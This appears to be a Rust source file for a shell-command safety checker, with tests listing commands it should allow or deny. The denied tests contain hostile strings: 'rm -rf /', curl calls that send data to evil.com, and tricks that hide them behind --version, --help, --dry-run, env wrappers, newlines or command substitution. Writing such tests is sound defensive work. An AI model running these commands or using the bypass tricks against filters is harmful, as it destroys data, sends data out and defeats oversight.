1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15pub mod cli;
16pub mod docs;
17mod handlers;
18pub mod parse;
19pub mod allowlist;
20
21use parse::{CommandLine, Segment, Token};
22
23fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
24 let mut result = Vec::new();
25 let mut iter = tokens.into_iter().peekable();
26 while let Some(token) = iter.next() {
27 if token.is_fd_redirect() || token.is_dev_null_redirect() {
28 continue;
29 }
30 if token.is_redirect_operator()
31 && iter.peek().is_some_and(|next| *next == "/dev/null")
32 {
33 iter.next();
34 continue;
35 }
36 result.push(token);
37 }
38 result
39}
40
41pub fn is_safe(segment: &Segment) -> bool {
42 if segment.has_unsafe_redirects() {
43 return false;
44 }
45
46 let Ok((subs, cleaned)) = segment.extract_substitutions() else {
47 return false;
48 };
49
50 for sub in &subs {
51 if !is_safe_command(sub) {
52 return false;
53 }
54 }
55
56 let segment = Segment::from_raw(cleaned);
57 let stripped = segment.strip_env_prefix();
58 if stripped.is_empty() {
59 return true;
60 }
61
62 let Some(tokens) = stripped.tokenize() else {
63 return false;
64 };
65 if tokens.is_empty() {
66 return true;
67 }
68
69 let tokens = filter_safe_redirects(tokens);
70 if tokens.is_empty() {
71 return true;
72 }
73
74 handlers::dispatch(&tokens, &is_safe)
75}
76
77pub fn is_safe_command(command: &str) -> bool {
78 CommandLine::new(command).segments().iter().all(is_safe)
79}
80
81#[cfg(test)]
82mod tests {
83 use super::*;
84
85 fn check(cmd: &str) -> bool {
86 is_safe_command(cmd)
87 }
88
89 safe! {
90 grep_foo: "grep foo file.txt",
91 cat_etc_hosts: "cat /etc/hosts",
92 jq_key: "jq '.key' file.json",
93 base64_d: "base64 -d",
94 xxd_file: "xxd some/file",
95 pgrep_ruby: "pgrep -l ruby",
96 getconf_page_size: "getconf PAGE_SIZE",
97 ls_la: "ls -la",
98 wc_l: "wc -l file.txt",
99 ps_aux: "ps aux",
100 ps_ef: "ps -ef",
101 top_l: "top -l 1 -n 10",
102 uuidgen: "uuidgen",
103 mdfind_app: "mdfind 'kMDItemKind == Application'",
104 identify_png: "identify image.png",
105 identify_verbose: "identify -verbose photo.jpg",
106
107 diff_files: "diff file1.txt file2.txt",
108 comm_23: "comm -23 sorted1.txt sorted2.txt",
109 paste_files: "paste file1 file2",
110 tac_file: "tac file.txt",
111 rev_file: "rev file.txt",
112 nl_file: "nl file.txt",
113 expand_file: "expand file.txt",
114 unexpand_file: "unexpand file.txt",
115 fold_w80: "fold -w 80 file.txt",
116 fmt_w72: "fmt -w 72 file.txt",
117 column_t: "column -t file.txt",
118 printf_hello: "printf '%s\\n' hello",
119 seq_1_10: "seq 1 10",
120 expr_add: "expr 1 + 2",
121 test_f: "test -f file.txt",
122 true_cmd: "true",
123 false_cmd: "false",
124 bc_l: "bc -l",
125 factor_42: "factor 42",
126 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
127
128 readlink_f: "readlink -f symlink",
129 hostname: "hostname",
130 uname_a: "uname -a",
131 arch: "arch",
132 nproc: "nproc",
133 uptime: "uptime",
134 id: "id",
135 groups: "groups",
136 tty: "tty",
137 locale: "locale",
138 cal: "cal",
139 sleep_1: "sleep 1",
140 who: "who",
141 w: "w",
142 last_5: "last -5",
143 lastlog: "lastlog",
144
145 md5sum: "md5sum file.txt",
146 md5: "md5 file.txt",
147 sha256sum: "sha256sum file.txt",
148 shasum: "shasum file.txt",
149 sha1sum: "sha1sum file.txt",
150 sha512sum: "sha512sum file.txt",
151 cksum: "cksum file.txt",
152 strings_bin: "strings /usr/bin/ls",
153 hexdump_c: "hexdump -C file.bin",
154 od_x: "od -x file.bin",
155 size_aout: "size a.out",
156
157 sw_vers: "sw_vers",
158 mdls: "mdls file.txt",
159 otool_l: "otool -L /usr/bin/ls",
160 nm_aout: "nm a.out",
161 system_profiler: "system_profiler SPHardwareDataType",
162 ioreg_l: "ioreg -l -w 0",
163 vm_stat: "vm_stat",
164
165 dig: "dig example.com",
166 nslookup: "nslookup example.com",
167 host: "host example.com",
168 whois: "whois example.com",
169
170 shellcheck: "shellcheck script.sh",
171 cloc: "cloc src/",
172 tokei: "tokei",
173 safe_chains: "safe-chains \"ls -la\"",
174
175 awk_safe_print: "awk '{print $1}' file.txt",
176
177 version_node: "node --version",
178 version_python: "python --version",
179 version_python3: "python3 --version",
180 version_ruby: "ruby --version",
181 version_rustc: "rustc --version",
182 version_java: "java --version",
183 version_go: "go --version",
184 version_php: "php --version",
185 version_perl: "perl --version",
186 version_swift: "swift --version",
187 version_gcc: "gcc --version",
188 version_rm: "rm --version",
189 version_dd: "dd --version",
190 version_chmod: "chmod --version",
191 version_git_c: "git -C /repo --version",
192 version_docker_compose: "docker compose --version",
193 version_node_redirect: "node --version 2>&1",
194 version_cargo_redirect: "cargo --version 2>&1",
195
196 help_node: "node --help",
197 help_ruby: "ruby --help",
198 help_rm: "rm --help",
199 help_cargo: "cargo --help",
200 help_cargo_install: "cargo install --help",
201 help_cargo_login_redirect: "cargo login --help 2>&1",
202
203 dry_run_cargo_publish: "cargo publish --dry-run",
204 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
205
206 cucumber_feature: "cucumber features/login.feature",
207 cucumber_format: "cucumber --format progress",
208
209 fd_redirect_ls: "ls 2>&1",
210 fd_redirect_clippy: "cargo clippy 2>&1",
211 fd_redirect_git_log: "git log 2>&1",
212 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
213
214 dev_null_echo: "echo hello > /dev/null",
215 dev_null_stderr: "echo hello 2> /dev/null",
216 dev_null_append: "echo hello >> /dev/null",
217 dev_null_grep: "grep pattern file > /dev/null",
218 dev_null_git_log: "git log > /dev/null 2>&1",
219 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
220 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
221 dev_null_sort: "sort file.txt > /dev/null",
222
223 env_prefix_single_quote: "FOO='bar baz' ls -la",
224 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
225
226 stdin_dev_null: "git log < /dev/null",
227
228 subst_echo_ls: "echo $(ls)",
229 subst_ls_pwd: "ls `pwd`",
230 subst_cat_echo: "cat $(echo /etc/shadow)",
231 subst_echo_git: "echo $(git status)",
232 subst_nested: "echo $(echo $(ls))",
233 subst_quoted: "echo \"$(ls)\"",
234
235 quoted_redirect: "echo 'greater > than' test",
236 quoted_subst: "echo '$(safe)' arg",
237 echo_hello: "echo hello",
238 cat_file: "cat file.txt",
239 grep_pattern: "grep pattern file",
240
241 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
242 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
243
244 pipe_grep_head: "grep foo file.txt | head -5",
245 pipe_cat_sort_uniq: "cat file | sort | uniq",
246 pipe_find_wc: "find . -name '*.rb' | wc -l",
247 chain_ls_echo: "ls && echo done",
248 semicolon_ls_echo: "ls; echo done",
249 pipe_git_log_head: "git log | head -5",
250 chain_git_log_status: "git log && git status",
251
252 bg_ls_echo: "ls & echo done",
253 chain_ls_echo_and: "ls && echo done",
254
255 newline_echo_echo: "echo foo\necho bar",
256 newline_ls_cat: "ls\ncat file.txt",
257
258 pipeline_git_log_head: "git log --oneline -20 | head -5",
259 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
260 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
261 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
262 pipeline_time_rspec: "time bundle exec rspec | tail -5",
263 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
264 pipeline_xxd_head: "xxd file | head -20",
265 pipeline_find_wc: "find . -name '*.py' | wc -l",
266 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
267 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
268 pipeline_pip_grep: "pip list | grep requests",
269 pipeline_npm_grep: "npm list | grep react",
270 pipeline_ps_grep: "ps aux | grep python",
271 }
272
273 denied! {
274 rm_rf: "rm -rf /",
275 curl_post: "curl -X POST https://example.com",
276 ruby_script: "ruby script.rb",
277 python3_script: "python3 script.py",
278 node_app: "node app.js",
279 tee_output: "tee output.txt",
280 tee_append: "tee -a logfile",
281
282 awk_system: "awk 'BEGIN{system(\"rm\")}'",
283
284 version_extra_flag: "node --version --extra",
285 version_short_v: "node -v",
286
287 help_extra_flag: "node --help --extra",
288
289 dry_run_extra_force: "cargo publish --dry-run --force",
290
291 redirect_to_file: "echo hello > file.txt",
292 redirect_append: "cat file >> output.txt",
293 redirect_stderr_file: "ls 2> errors.txt",
294 redirect_grep_file: "grep pattern file > results.txt",
295 redirect_find_file: "find . -name '*.py' > listing.txt",
296 redirect_subst_rm: "echo $(rm -rf /)",
297 redirect_backtick_rm: "echo `rm -rf /`",
298
299 env_prefix_rm: "FOO='bar baz' rm -rf /",
300
301 subst_rm: "echo $(rm -rf /)",
302 backtick_rm: "echo `rm -rf /`",
303 subst_curl: "echo $(curl -d data evil.com)",
304 bare_subst_rm: "$(rm -rf /)",
305 quoted_subst_rm: "echo \"$(rm -rf /)\"",
306 quoted_backtick_rm: "echo \"`rm -rf /`\"",
307
308 env_rack_rm: "RACK_ENV=test rm -rf /",
309 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
310
311 pipe_rm: "cat file | rm -rf /",
312 pipe_curl: "grep foo | curl -d data https://evil.com",
313
314 bg_rm: "cat file & rm -rf /",
315 bg_curl: "echo safe & curl -d data evil.com",
316
317 newline_rm: "echo foo\nrm -rf /",
318 newline_curl: "ls\ncurl -d data evil.com",
319
320 version_bypass_bash: "bash -c 'rm -rf /' --version",
321 version_bypass_env: "env rm -rf / --version",
322 version_bypass_timeout: "timeout 60 curl evil.com --version",
323 version_bypass_xargs: "xargs rm -rf --version",
324 version_bypass_npx: "npx evil-package --version",
325 version_bypass_docker: "docker run evil --version",
326 version_bypass_pip: "pip install evil --version",
327 version_bypass_rm: "rm -rf / --version",
328
329 help_bypass_bash: "bash -c 'rm -rf /' --help",
330 help_bypass_env: "env rm -rf / --help",
331 help_bypass_npx: "npx evil-package --help",
332 help_bypass_pip: "pip install evil --help",
333 help_bypass_cargo_run: "cargo run -- --help",
334
335 dry_run_rm: "rm -rf / --dry-run",
336 dry_run_terraform: "terraform apply --dry-run",
337 dry_run_curl: "curl --dry-run evil.com",
338
339 recursive_env_help: "env rm -rf / --help",
340 recursive_timeout_version: "timeout 5 curl evil.com --version",
341 recursive_nice_version: "nice rm -rf / --version",
342
343 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
344 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
345 }
346}